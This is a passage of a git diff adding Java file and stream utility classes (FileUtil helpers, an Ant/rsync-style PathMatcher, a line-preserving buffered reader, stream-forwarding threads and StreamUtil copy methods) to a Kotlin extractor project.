+	 * @return a file path with a different extension
+	 */
+	public static File replaceFileExtension (File file, String newExtension)
+	{
+		String name = file.getName();
+		int index = name.lastIndexOf('.');
+		if (index != -1) {
+			name = name.substring(0, index);
+		}
+		return new File(file.getParentFile(), name + newExtension);
+	}
+
+	/**
+	 * Return the SHA-1 hash for a file.
+	 *
+	 * @param file the file to hash
+	 * @return a <code>String</code> representation of the hash in hexadecimal
+	 */
+	public static String sha1 (File file)
+	{
+		byte[] buf = new byte[4096];
+		FileInputStream fio = null;
+		try {
+			fio = new FileInputStream(file);
+			MessageDigest digest = MessageDigest.getInstance("SHA-1");
+			int read;
+			while ((read = fio.read(buf)) > 0)
+				digest.update(buf, 0, read);
+			return StringUtil.toHex(digest.digest());
+		} catch (IOException e) {
+			throw new ResourceError("Could not read file for hashing: " + file, e);
+		}
+		catch (NoSuchAlgorithmException e) {
+			throw new ResourceError("Could not find SHA-1 algorithm", e);
+		}
+		finally {
+			close(fio);
+		}
+	}
+
+	/**
+	 * Copy the source properties file to the target, appending the given variable definitions as
+	 * properties (with proper escaping). An optional marker string is printed as a comment before the
+	 * extra variables, if any.
+	 */
+	public static void copyPropertiesFile (
+	  File source,
+	  File target,
+	  Set<Pair<String, String>> extraVariables,
+	  String extraComment)
+	{
+		if (source.isFile())
+			copy(source, target);
+		appendProperties(target, extraVariables, extraComment);
+	}
+
+	/**
+	 * Append the given set of properties to a specified file, taking care of proper escaping of
+	 * special characters.
+	 *
+	 * @param target the file to write -- content is appended
+	 * @param extraVariables A string/value mapping of properties
+	 * @param extraComment A properties-file commend to prepend to the new values, to trace
+	 *          provenance. Can be {@code null} to disable.
+	 */
+	public static void appendProperties (File target, Set<Pair<String, String>> extraVariables, String extraComment)
+	{
+		if (extraVariables.isEmpty())
+			return;
+
+		Properties props = new Properties();
+
+		for (Pair<String, String> var : extraVariables)
+			props.put(var.fst(), var.snd());
+
+		StringWriter writer = new StringWriter();
+		writer.append('\n');
+		try {
+			props.store(writer, extraComment);
+		}
+		catch (IOException e) {
+			throw new ResourceError("Failed to convert properties to string while appending to file " + target, e);
+		}
+
+		append(target, writer.toString());
+	}
+
+	/**
+	 * Append the given set of properties to a specified file, taking care of proper escaping of
+	 * special characters.
+	 *
+	 * @param target the file to write -- content is appended
+	 * @param extraVariables A string/value mapping of properties
+	 * @param extraComment A properties-file commend to prepend to the new values, to trace
+	 *          provenance. Can be {@code null} to disable.
+	 */
+	public static void appendProperties (File target, Map<String, String> extraVariables, String extraComment)
+	{
+		Set<Pair<String, String>> vars = new LinkedHashSet<>();
+		for (Entry<String, String> e : extraVariables.entrySet())
+			vars.add(Pair.make(e.getKey(), e.getValue()));
+		appendProperties(target, vars, extraComment);
+	}
+
+
+	/**
+	 * A pattern matching "logical" path separators, i.e. runs of forward or back slashes, possibly
+	 * interspersed with single dots. A string matched by this pattern is equivalent to a single
+	 * occurrence of the separator.
+	 */
+	private static final Pattern ANY_PATH_SEPARATOR = Pattern.compile("[\\\\/]+(\\.[\\\\/]+)*");
+
+	/**
+	 * Normalise a string representing a path by replacing sequences that match
+	 * {@link #ANY_PATH_SEPARATOR} with a single forward slash. <b>The transformation makes no
+	 * reference to a file system.</b> Example transformations:
+	 * <ul>
+	 * <li><b>a/./b</b> to <b>a/b</b></li>
+	 * <li><b>a\b</b> to <b>a/b</b></li>
+	 * <li><b>a\b/c</b> to <b>a/b/c</b></li>
+	 * <li><b>C:\a\b</b> to <b>C:/a/b</b></li>
+	 * <li><b>/a/b</b> to <b>/a/b</b></li>
+	 * <li><b>.</b> to <b>.</b>
+	 * <li><b>./</b> to <b>./</b>
+	 * </ul>
+	 */
+	public static String normalizePathSeparators(String path)
+	{
+		return ANY_PATH_SEPARATOR.matcher(path).replaceAll("/");
+	}
+
+	/**
+	 * Normalise a file name without incurring the cost of filesystem access that
+	 * {@link File#getCanonicalFile()} would. In particular, remove redundant "./"
+	 * components from the path, and simplify "foo/.." to nothing. The path is made
+	 * absolute in the process.
+	 *
+	 * @param file
+	 *            the file path to normalise.
+	 * @return A string representing the path of the file, with obviously redundant
+	 *         components stripped off.
+	 */
+	public static String simplifyPath (File file)
+	{
+		return file.toPath().toAbsolutePath().normalize().toString();
+	}
+
+	/**
+	 * Read properties from a CSV file into a Map
+	 *
+	 * @param file CSV file, each row containing a key and value
+	 * @return Map containing key-value bindings
+	 */
+	public static Map<String, String> readPropertiesCSV (File file)
+	{
+		Map<String, String> result = new LinkedHashMap<>();
+		Reader reader = null;
+		InputStream input = null;
+		CSVReader csv = null;
+		try {
+			input = new FileInputStream(file);
+			reader = new InputStreamReader(input, "UTF-8");
+			csv = new CSVReader(reader);
+			for (String[] line : csv.readAll()) {
+				if (line.length >= 1) {
+					String key = line[0];
+					String value = null;
+					if (line.length >= 2) {
+						value = line[1];
+					}
+					result.put(key, value);
+				}
+			}
+			return Collections.unmodifiableMap(result);
+		}
+		catch (UnsupportedEncodingException e) {
+			throw new CatastrophicError(e);
+		}
+		catch (IOException e) {
+			throw new ResourceError("Could not read data from " + file, e);
+		}
+		finally {
+			FileUtil.close(reader);
+			FileUtil.close(input);
+			FileUtil.close(csv);
+		}
+	}
+
+	/**
+	 * Write properties to a CSV file
+	 *
+	 * @param file CSV file
+	 * @param data Map containing key-value bindings
+	 */
+	public static void writePropertiesCSV (File file, Map<String, String> data) throws IOException
+	{
+		OutputStream out = null;
+		Writer writer = null;
+		CSVWriter csvWriter = null;
+		try {
+			out = new FileOutputStream(file);
+			writer = new OutputStreamWriter(out, "UTF-8");
+			csvWriter = new CSVWriter(writer);
+
+			for (Entry<String, String> e : data.entrySet()) {
+				csvWriter.writeNext(e.getKey(), e.getValue());
+			}
+		}
+		catch (FileNotFoundException e) {
+			throw new ResourceError("Could not find file '" + file + "'", e);
+		}
+		catch (UnsupportedEncodingException e) {
+			throw new CatastrophicError(e);
+		}
+		finally {
+			FileUtil.close(csvWriter);
+			FileUtil.close(writer);
+			FileUtil.close(out);
+		}
+	}
+
+	/**
+	 * Obtain a File that does not exist, returning the given {@code path} if it does not exist, or
+	 * the given {@code path} with a randomly generated numerical suffix if it does.
+	 *
+	 * @throws ResourceError if the {@code path} could not be accessed.
+	 */
+	public static final File ensureUnique (File path)
+	{
+		try {
+			if (path.exists()) {
+				Random random = new Random();
+				File uniquePath;
+				do {
+					uniquePath = new File(path.toString() + "." + random.nextInt());
+				}
+				while (uniquePath.exists());
+				return uniquePath;
+			}
+			return path;
+		}
+		catch (SecurityException se) {
+			throw new ResourceError("Could not access file " + path, se);
+		}
+	}
+
+	/**
+	 * Open the specified {@code file} with a new {@link Writer}.
+	 *
+	 * @param file The file to open
+	 * @param overwrite Flag indicating whether the file may be overwritten if it already exists.
+	 * @param append Flag indicating whether the file should be appended if it already exists (
+	 *          {@code overwrite} is ignored if this flag is true).
+	 */
+	public static Writer openWriterUTF8 (File file, boolean overwrite, boolean append)
+	{
+		try {
+			FileOutputStream ostream;
+			if (file.exists()) {
+				if (append) {
+					ostream = new FileOutputStream(file, true);
+				}
+				else if (overwrite) {
+					if (!file.delete()) {
+						throw new ResourceError("Could not delete existing file: " + file);
+					}
+					ostream = new FileOutputStream(file, false);
+				}
+				else {
+					throw new ResourceError("File already exists: " + file);
+				}
+			}
+			else {
+				ostream = new FileOutputStream(file, false);
+			}
+			return new OutputStreamWriter(ostream, UTF8);
+		}
+		catch (SecurityException se) {
+			throw new ResourceError("Could not access file " + file, se);
+		}
+		catch (IOException ioe) {
+			throw new ResourceError("Failed to open FileWriter for " + file, ioe);
+		}
+	}
+
+	/**
+	 * Rename a file, creating any directories as needed. If the destination file (or directory)
+	 * exists, it is overwritten.
+	 *
+	 * @param src The file to be renamed. Must be non-null and must exist.
+	 * @param dest The file's new name. Must be non-null. Will be overwritten if it already exists.
+	 */
+	public static void forceRename (File src, File dest)
+	{
+		final String errorPrefix = "FileUtil.forceRename: ";
+		if (src == null)
+			throw new CatastrophicError(errorPrefix + "source File is null.");
+		if (dest == null)
+			throw new CatastrophicError(errorPrefix + "destination File is null.");
+		if (!src.exists())
+			throw new ResourceError(errorPrefix + "source File '" + src.toString() + "' does not exist.");
+
+		// File.renameTo(foo) requires that foo's parent directory exists.
+		mkdirs(dest.getAbsoluteFile().getParentFile());
+		if (dest.exists() && !recursiveDelete(dest))
+			throw new ResourceError(errorPrefix + "Couldn't overwrite destination file '" + dest.toString() + "'.");
+		if (!src.renameTo(dest))
+			throw new ResourceError(errorPrefix + "Couldn't rename file '" + src.toString() + "' to '" + dest.toString()
+			                        + "'.");
+	}
+
+	/**
+	 * Copy a file, creating any directories as needed. If the destination file (or directory)
+	 * exists, it is overwritten.
+	 *
+	 * @param src The file to be renamed. Must be non-null and must exist.
+	 * @param dest The path to copy the file to. Must be non-null. Will be overwritten if it already exists.
+	 */
+	public static void forceCopy(File src, File dest)
+	{
+		final String errorPrefix = "FileUtil.forceCopy: ";
+		if (src == null)
+			throw new CatastrophicError(errorPrefix + "source File is null.");
+		if (dest == null)
+			throw new CatastrophicError(errorPrefix + "destination File is null.");
+		if (!src.exists())
+			throw new ResourceError(errorPrefix + "source File '" + src.toString() + "' does not exist.", new FileNotFoundException(src.toString()));
+
+		mkdirs(dest.getAbsoluteFile().getParentFile());
+		if (dest.exists() && !recursiveDelete(dest))
+			throw new ResourceError(errorPrefix + "Couldn't overwrite destination file '" + dest.toString() + "'.");
+		if (!copy(src, dest))
+			throw new ResourceError(errorPrefix + "Couldn't copy file '" + src.toString() + "' to '" + dest.toString()
+			                        + "'.");
+	}
+
+	/**
+	 * Query whether a {@link File} is non-null, and represents an existing <b>file</b> that can be
+	 * read.
+	 */
+	public static boolean isReadableFile (File path)
+	{
+		return path != null && path.isFile() && path.canRead();
+	}
+
+	/**
+	 * Compare a pair of paths using their canonical form to determine if they resolve to identical
+	 * paths. Returns false if either is null.
+	 */
+	public static boolean isSamePath (File path1, File path2)
+	{
+		// Quick break-out if either path is null
+		if (path1 == null || path2 == null) {
+			return false;
+		}
+		// Compare the canonical paths
+		return ObjectUtil.equals(tryMakeCanonical(path1), tryMakeCanonical(path2));
+	}
+
+	/**
+	 * Add the extension {@code extension} to the {@link File} {@code file}.
+	 *
+	 * @param file - the File to which we want to add the {@code extension}.
+	 * @param extension - the extension, without the dot, which will be appended.
+	 * @return a copy of {@code file} with the extension added.
+	 */
+	public static File addExtension (File file, String extension)
+	{
+		return new File(file.getPath() + "." + extension);
+	}
+
+	/**
+	 * Ensures the existence of a given file. The method does nothing if the file already exists and creates a
+	 * new one if it does not.
+	 * @throws ResourceError if <code>f</code> already exists and is not a file.
+	 */
+	public static void ensureFileExists(File f){
+		try{
+			if(!f.exists()){
+				mkdirs(f.getAbsoluteFile().getParentFile());
+				if(!f.createNewFile()) {
+					throw new ResourceError("Cannot create file '" + f + "', since a directory with the same name already exists!");
+				}
+			}else if(f.isDirectory()){
+				throw new ResourceError("Cannot create file '" + f + "', since a directory with the same name already exists!");
+			}
+		}catch(IOException ioe){
+		  throw new ResourceError("Could not create file '" + f + "'", ioe);
+		}
+	}
+
+	/**
+	 * Copy a resource within a class into a file.
+	 * @param clazz The class responsible for the resource.
+	 * @param resourceName The resource's name.
+	 * @param target The file to copy the resource to.
+	 */
+	/*
+	public static void resourceToFile(Class<?> clazz, String resourceName, File target){
+		try {
+			Files.createDirectories(target.toPath().getParent());
+			try (InputStream is = clazz.getResourceAsStream(resourceName);
+					AtomicFileOutputStream afos = new AtomicFileOutputStream(target.toPath());
+					BufferedOutputStream bos = new BufferedOutputStream(afos)) {
+				StreamUtil.copy(is, bos);
+			}
+		} catch (IOException e) {
+			throw new ResourceError("Error copying resource '" + clazz.getName() + "' '" + resourceName + "' to '" + target + "'", e);
+		}
+	}
+	*/
+
+	/**
+	 * Attempts to create a temporary directory.
+	 */
+	public static File createTempDir(){
+		File globalTempDir = new File(System.getProperty("java.io.tmpdir"));
+		return createUniqueDirectory(globalTempDir, "semmleTempDir");
+	}
+
+	/**
+	 * Magic constant: the maximum number of file operation attempts in
+	 * {@link #performWithRetries}.
+	 */
+	private static final int FILE_OPERATION_ATTEMPTS_LIMIT = 30;
+	/**
+	 * Magic constant: the delay between file operation attempts in
+	 * {@link #performWithRetries}. Chosen to overapproximate the time Windows
+	 * Defender takes to scan directories our code creates.
+	 */
+	private static final int FILE_OPERATION_ATTEMPTS_DELAY_MS = 1000;
+
+	/**
+	 * Functional interface resembling a {@link BiConsumer} of {@link Path}s,
+	 * but whose {@code accept} method may throw an {@link IOException}.
+	 */
+	private static interface RetryablePathConsumer {
+		void accept(Path source, Path target) throws IOException;
+	}
+
+	/**
+	 * In Java 8, this would just be BiFunction<Path, Path, String>.
+	 */
+	private static interface ErrorMessageCreator {
+		String apply(Path source, Path target);
+	}
+
+	/**
+	 * Attempts to perform the given {@code operation} on the {@code source} and
+	 * {@code target} paths.
+	 *
+	 * If the operation fails, it is attempted again after a
+	 * {@value #FILE_OPERATION_ATTEMPTS_DELAY_MS} ms delay. This process is
+	 * repeated until the operation succeeds, or a total of
+	 * {@value #FILE_OPERATION_ATTEMPTS_LIMIT} attempts are made, at which point
+	 * an error is thrown. The given {@code errorMessageCreator} is used to
+	 * construct suitable messages upon retries or failure.
+	 * <p>
+	 * This is useful when either the source or the target has been created just
+	 * before the attempted operation. (For example, atomic directory creation
+	 * usually involves creating a temporary directory with the desired contents
+	 * and then moving it to the desired location, or temporary directories may
+	 * be created, populated, and then deleted after use.)
+	 *
+	 * Aggressive variants of Windows Defender (ATP) tend to scan such newly-created
+	 * files immediately, and the operation will only succeed if attempted again
+	 * after Defender releases the files.
+	 *
+	 * @throws IOException
+	 *             if the operation does not succeed after
+	 *             {@value #FILE_OPERATION_ATTEMPTS_LIMIT} attempts
+	 */
+	private static void performWithRetries(RetryablePathConsumer operation, Path source, Path target,
+			ErrorMessageCreator errorMessageCreator) throws IOException {
+		for (int i = 1;; i++) {
+			try {
+				operation.accept(source, target);
+				return;
+			} catch (AtomicMoveNotSupportedException e) {
+				// Allow this to propagate, since retrying won't help.
+				throw e;
+			} catch (IOException e) {
+				String message = errorMessageCreator.apply(source, target);
+				logger.warn(message + " (attempt " + i + ")", e);
+				if (i == FILE_OPERATION_ATTEMPTS_LIMIT)
+					throw new IOException(message + "(" + FILE_OPERATION_ATTEMPTS_LIMIT + " attempts made)", e);
+			}
+			try {
+				logger.trace("Waiting for " + FILE_OPERATION_ATTEMPTS_DELAY_MS + " ms before making another attempt.");
+				Thread.sleep(FILE_OPERATION_ATTEMPTS_DELAY_MS);
+			} catch (InterruptedException e) {
+				logger.warn("Thread interrupted before making another attempt.", e);
+			}
+		}
+	}
+
+	/**
+	 * Attempts to move the {@code source} file to the {@code target} file.
+	 * Wraps {@link #performWithRetries} around
+	 * {@link java.nio.file.Files#move} to retry the move if it fails.
+	 *
+	 * @see #performWithRetries
+	 */
+	public static void moveWithRetries(Path source, Path target, final CopyOption... options) throws IOException {
+		performWithRetries(
+				new RetryablePathConsumer() {
+					@Override
+					public void accept(Path source, Path target) throws IOException { Files.move(source, target, options); }
+				},
+				source, target,
+				new ErrorMessageCreator() {
+					@Override
+					public String apply(Path s, Path t) { return "Failed to perform move from " + s.toAbsolutePath() + " to " + t.toAbsolutePath(); }
+				});
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/files/PathMatcher.java b/java/kotlin-extractor/src/main/java/com/semmle/util/files/PathMatcher.java
new file mode 100644
index 00000000000..56563960144
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/files/PathMatcher.java
@@ -0,0 +1,160 @@
+package com.semmle.util.files;
+
+import java.util.regex.Pattern;
+
+import com.semmle.util.data.StringUtil;
+
+/**
+ * Utility class to match a string to a pattern, which can either be
+ * an ant-like include/exclude pattern (with wildcards), or a rsync-like
+ * pattern.
+ * <p>
+ * In ant-like mode:
+ * <ul>
+ *   <li>'**' matches zero or more characters (most notably including '/'). 
+ *   <li>'*' matches zero or more characters except for '/'. 
+ *   <li>'?' matches any character (other than '/').
+ * </ul>
+ * <p>
+ * In rsync-like mode:
+ * <ul>
+ *   <li>A pattern is matched only at the root if it starts with '/', and otherwise
+ *       it is matched against each level of the directory tree.
+ *   <li>'**', '*' and '?' have the same meaning as for ant.
+ *   <li>Other rsync features (like [:..:] groups and backslash-escapes) are not supported.
+ * </ul>
+ */
+public class PathMatcher {
+	
+	public enum Mode {
+		Ant, Rsync;
+	}
+	
+	private final Mode mode;
+	private final Pattern pattern;
+	private final String originalPattern;
+	
+	/**
+	 * Create a {@link PathMatcher}.
+	 * 
+	 * @param pattern An ant-like pattern
+	 */
+	public PathMatcher(String pattern) {
+		this(Mode.Ant, pattern);
+	}
+	
+	/** Create a {@link PathMatcher}.
+	 *
+	 * @param mode The {@link Mode} to use
+	 * @param pattern A pattern, interpreted as ant-like or rsync-like depending on
+	 *     the value of {@code mode}
+	 */
+	public PathMatcher(Mode mode, String pattern) {
+		this.mode = mode;
+		this.originalPattern = pattern;
+		StringBuilder b = new StringBuilder();
+		toRegex(b, pattern);
+		this.pattern = Pattern.compile(b.toString());
+	}
+
+	/** Create a {@link PathMatcher}.
+	 * 
+	 * @param patterns Several ant-like patterns
+	 */
+	public PathMatcher(Iterable<String> patterns) {
+		this(Mode.Ant, patterns);
+	}
+	
+	/** Create a {@link PathMatcher}.
+	 * 
+	 * @param mode The {@link Mode} to use.
+	 * @param patterns Several patterns, interpreted as ant-like or rsync-like depending
+	 *     on the value of {@code mode}.
+	 */
+	public PathMatcher(Mode mode, Iterable<String> patterns) {
+		this.mode = mode;
+		this.originalPattern = patterns.toString();
+		StringBuilder b = new StringBuilder();
+		for (String pattern : patterns) {
+			if (b.length() > 0)
+				b.append('|');
+			toRegex(b, pattern);
+		}
+		this.pattern = Pattern.compile(b.toString());
+	}
+
+	private void toRegex(StringBuilder b, String pattern) {
+		if (pattern.length() == 0) return;
+		//normalize pattern path separators
+		pattern = pattern.replace('\\', '/');
+		//replace double slashes
+		pattern = pattern.replaceAll("//+", "/");
+		// escape
+		pattern = StringUtil.escapeStringLiteralForRegexp(pattern, "*?");
+
+		// for ant, ending with '/' is shorthand for "/**"
+		if (mode == Mode.Ant && pattern.endsWith("/")) pattern = pattern + "**";
+
+		// replace "**/" with (^|.*/)"
+		// replace "**" with ".*"
+		// replace "*" with "[^/]*
+		// replace "?" with "[^/]"
+		int i = 0;
+		
+		// In rsync-mode, a leading slash is an 'anchor' -- the pattern is only matched
+		// when rooted at the start of the path. This is the default behaviour for ant-like
+		// patterns.
+		if (mode == Mode.Rsync) {
+			if (pattern.charAt(0) == '/') {
+				// The slash is just anchoring, and may actually be missing
+				// in the case of a relative path.
+				b.append("/?");
+				i++;
+			} else {
+				// Non-anchored rsync pattern: the pattern can match at any level in the tree.
+				b.append("(.*/)?");
+			}
+		}
+
+		while (i < pattern.length()) {
+			char c = pattern.charAt(i);
+			if (c == '*' && i < pattern.length() - 2 && pattern.charAt(i+1) == '*' && pattern.charAt(i+2) == '/') {
+				b.append("(?:^|.*/)");
+				i += 3;
+			}
+			else if (c == '*' && i < pattern.length() - 1 && pattern.charAt(i+1) == '*') {
+				b.append(".*");
+				i += 2;
+			}
+			else if(c == '*') {
+				b.append("[^/]*");
+				i++;
+			}
+			else if(c == '?') {
+				b.append("[^/]");
+				i++;
+			}
+			else {
+				b.append(c);
+				i++;
+			}
+		}
+	}
+	
+	/**
+	 * Match the specified path against a shell pattern. The path is normalised by replacing '\' with '/'.
+	 * @param path The path to match.
+	 */
+	public boolean matches(String path) {
+		// normalise path
+		path = path.replace('\\', '/');
+		if(path.endsWith("/"))
+			path = path.substring(0, path.length()-1);
+		return pattern.matcher(path).matches();
+	}
+	
+	@Override
+	public String toString() {
+		return "Matches " + originalPattern + " [" + pattern + "]";
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/BufferedLineReader.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/BufferedLineReader.java
new file mode 100644
index 00000000000..99c0b7d1569
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/BufferedLineReader.java
@@ -0,0 +1,103 @@
+package com.semmle.util.io;
+
+import java.io.BufferedReader;
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.Reader;
+
+import com.semmle.util.files.FileUtil;
+
+/**
+ * A custom buffered reader akin to {@link BufferedReader}, except that it preserves
+ * line terminators (and so its {@code readLine()} method is called
+ * {@link #readLineAndTerminator()}). The other {@link Reader} methods should not
+ * be called, and will throw.
+ */
+public class BufferedLineReader implements Closeable {
+	private final char[] buffer = new char[8192];
+	private  int nextChar = 0, nChars = 0;
+	private final Reader in;
+	
+	public BufferedLineReader(Reader in) {
+		this.in = in;
+	}
+
+	/**
+	 * Read the string up to and including the next CRLF or LF terminator. This method
+	 * may return a non-terminated string at EOF, or if a line is too long to fit in the
+	 * internal buffer. Calls will block until enough data has been read to fill the
+	 * buffer or find a line terminator.
+	 * @return The next line (or buffer-full) of text.
+	 * @throws IOException if the underlying stream throws.
+	 */
+	public String readLineAndTerminator() throws IOException {
+		int terminator = findNextLineTerminator();
+		if (terminator == -1)
+			return null;
+		String result = new String(buffer, nextChar, terminator - nextChar + 1);
+		nextChar = terminator + 1;
+		return result;
+	}
+	
+	/**
+	 * Get the index of the last character that should be included in the next line.
+	 * Usually, this is the LF in a LF or CRLF line terminator, but it might be the
+	 * end of the buffer (if it is full, and no newlines are present), or it may be
+	 * -1 (but only if EOF has been reached, and the buffer is currently empty).
+	 * The first character of the line is pointed to by {@link #nextChar}, which
+	 * may be modified by this method if the buffer is refilled.
+	 */
+	private int findNextLineTerminator() throws IOException {
+		int alreadyChecked = 0;
+		do {
+			for (int i = nextChar + alreadyChecked; i < nChars; i++) {
+				if (buffer[i] == '\r' && i+1 < nChars && buffer[i+1] == '\n')
+					return i+1; // CRLF
+				else if (buffer[i] == '\n')
+					return i; // LF
+			}
+			
+			// We didn't find a full newline in the existing buffer: Try to fill.
+			alreadyChecked = nChars - nextChar;
+			int newlyRead = fill();
+			if (newlyRead <= 0)
+				return nChars - 1;
+		} while (true);
+	}
+	
+	/**
+	 * Block until at least one character from the underlying stream is read,
+	 * or EOF is reached.
+	 */
+	private int fill() throws IOException {
+		if (nextChar >= nChars) {
+			// No unread characters.
+			nextChar = 0;
+			nChars = 0;
+		} else if (nextChar > 0) {
+			// Some unread characters.
+			System.arraycopy(buffer, nextChar, buffer, 0, nChars - nextChar);
+			nChars = nChars - nextChar;
+			nextChar = 0;
+		}
+		
+		// Is the buffer full?
+		if (nChars == buffer.length)
+			return 0;
+		
+		int read;
+		do {
+			read = in.read(buffer, nChars, buffer.length - nChars);
+		} while (read == 0);
+		
+		if (read > 0) {
+			nChars += read;
+		}
+		return read;
+	}
+
+	@Override
+	public void close() {
+		FileUtil.close(in);
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/RawStreamMuncher.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/RawStreamMuncher.java
new file mode 100644
index 00000000000..29ca3538530
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/RawStreamMuncher.java
@@ -0,0 +1,34 @@
+package com.semmle.util.io;
+
+import com.semmle.util.exception.Exceptions;
+import com.semmle.util.files.FileUtil;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * A thread that copies data from an input stream to an output stream. When
+ * the input stream runs out, it closes both the input and output streams.
+ */
+public class RawStreamMuncher extends Thread {
+	private final InputStream in;
+	private final OutputStream out;
+
+	public RawStreamMuncher(InputStream in, OutputStream out) {
+		this.in = in;
+		this.out = out;
+	}
+
+	@Override
+	public void run() {
+		try {
+			StreamUtil.copy(in, out);
+		} catch (IOException e) {
+			Exceptions.ignore(e, "When the process exits, a harmless IOException will occur here");
+		} finally {
+			FileUtil.close(in);
+			FileUtil.close(out);
+		}
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamMuncher.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamMuncher.java
new file mode 100644
index 00000000000..d9c557690f0
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamMuncher.java
@@ -0,0 +1,49 @@
+package com.semmle.util.io;
+
+import com.semmle.util.exception.Exceptions;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.io.BufferedLineReader;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.PrintStream;
+
+/**
+ * A thread that forwards data from one stream to another. It waits for
+ * entire lines of input from one stream before writing data to the next
+ * stream, and it flushes as it goes.
+ */
+public class StreamMuncher extends Thread {
+	private final InputStream is;
+	private PrintStream output;
+	private BufferedLineReader reader;
+
+	public StreamMuncher(InputStream is, OutputStream output) {
+		this.is = is;
+		if (output != null)
+			this.output = new PrintStream(output);
+	}
+
+	@Override
+	public void run() {
+		InputStreamReader isr = null;
+		try {
+			isr = new InputStreamReader(is);
+			reader = new BufferedLineReader(isr);
+			String line;
+			while ((line = reader.readLineAndTerminator()) != null) {
+				if (output != null) {
+					output.print(line);
+					output.flush();
+				}
+			}
+		} catch (IOException e) {
+			Exceptions.ignore(e, "When the process exits, a harmless IOException will occur here");
+		} finally {
+			FileUtil.close(reader);
+			FileUtil.close(isr);
+		}
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamUtil.java
new file mode 100644
index 00000000000..8071b2803fc
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/StreamUtil.java
@@ -0,0 +1,201 @@
+package com.semmle.util.io;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Reader;
+import java.io.Writer;
+import java.nio.charset.StandardCharsets;
+
+import com.semmle.util.exception.CatastrophicError;
+
+/**
+ * Utility methods concerning {@link InputStream}s and {@link OutputStream}s.
+ */
+public class StreamUtil
+{
+	/**
+	 * Copy all bytes that can be read from an {@link InputStream}, into an {@link OutputStream}.
+	 *
+	 * @param inputStream The InputStream from which to read, until an
+	 *          {@link InputStream#read(byte[])} operation returns indicating that the input stream
+	 *          has reached its end.
+	 * @param outputStream The OutputStream to which all bytes read from {@code inputStream} should be
+	 *          written.
+	 * @return The number of bytes copied.
+	 * @throws IOException from {@link InputStream#read(byte[])} or
+	 *           {@link OutputStream#write(byte[], int, int)}
+	 * @throws CatastrophicError if either of the streams is {@code null}
+	 */
+	public static long copy(InputStream inputStream, OutputStream outputStream) throws IOException
+	{
+		nullCheck(inputStream, outputStream);
+
+		// Copy byte data
+		long   total = 0;
+		byte[] bytes = new byte[1024];
+		int    read;
+		while ((read = inputStream.read(bytes)) > 0) {
+			outputStream.write(bytes, 0, read);
+			total += read;
+		}
+		return total;
+	}
+	
+	/**
+	 * Copy all chars that can be read from a {@link Reader}, into a {@link Writer}.
+	 *
+	 * @param reader The Reader from which to read, until a {@link Reader#read(char[])} operation
+	 *            returns indicating that the reader has reached its end.
+	 * @param writer The Writer to which all characters read from {@code reader} should be written.
+	 * @return The number of bytes copied.
+	 * @throws IOException from {@link Reader#read(char[])} or
+	 *             {@link Writer#write(char[], int, int)}
+	 * @throws CatastrophicError if either of the streams is {@code null}
+	 */
+	public static long copy(Reader reader, Writer writer) throws IOException
+	{
+		nullCheck(reader, writer);
+
+		// Copy byte data
+		long   total = 0;
+		char[] chars = new char[1024];
+		int    read;
+		while ((read = reader.read(chars)) > 0) {
+			writer.write(chars, 0, read);
+			total += read;
+		}
+		return total;
+	}
+
+	/**
+	 * Copy at most {@code length} bytes from an {@link InputStream}, into an {@link OutputStream}.
+	 * <p>
+	 * Note that this method will busy-wait during periods for which the {@code inputStream} cannot
+	 * supply any data, but has not reached its end.
+	 * </p>
+	 *
+	 * @param inputStream The InputStream from which to read, until {@code length} bytes have
+	 *          been read or {@link InputStream#read(byte[], int, int)} operation returns
+	 *          indicating that the input stream has reached its end.
+	 * @param outputStream The OutputStream to which all bytes read from {@code inputStream} should be
+	 *          written.
+	 * @param length The maximum number of bytes to copy
+	 * @return The number of bytes copied.
+	 * @throws IOException from {@link InputStream#read(byte[], int, int)} or
+	 *           {@link OutputStream#write(byte[], int, int)}
+	 * @throws CatastrophicError if either of the streams is {@code null}
+	 */
+	public static long limitedCopy(InputStream inputStream, OutputStream outputStream, long length) throws IOException
+	{
+		nullCheck(inputStream, outputStream);
+
+		// Copy byte data
+		long   total = 0;
+		byte[] bytes = new byte[1024];
+		int    read;
+		while ((read = inputStream.read(bytes, 0, (int) Math.min(bytes.length, length))) > 0) {
+			outputStream.write(bytes, 0, read);
+			length -= read;
+			total += read;
+		}
+		return total;
+	}
+
+	private static void nullCheck(Object input, Object output) {
+		CatastrophicError.throwIfAnyNull(input, output);
+	}
+
+	/**
+	 * Skips over and discards n bytes of data from an input stream. If n is negative then no bytes are skipped.
+	 * @param stream the InputStream
+	 * @param n the number of bytes to be skipped.
+	 * @return false if the end-of-file was reached before successfully skipping n bytes
+	 */
+	public static boolean skip(InputStream stream, long n) throws IOException {
+		if (n <= 0)
+			return true;
+		long toSkip = n - 1;
+
+		while (toSkip > 0) {
+			long skipped = stream.skip(toSkip);
+			if (skipped == 0) {
+				if(stream.read() == -1)
+					return false;
+				else
+					skipped++;
+			}
+			toSkip -= skipped;
+		}
+		if(stream.read() == -1)
+			return false;
+		else
+			return true;
+	}
+
+	/**
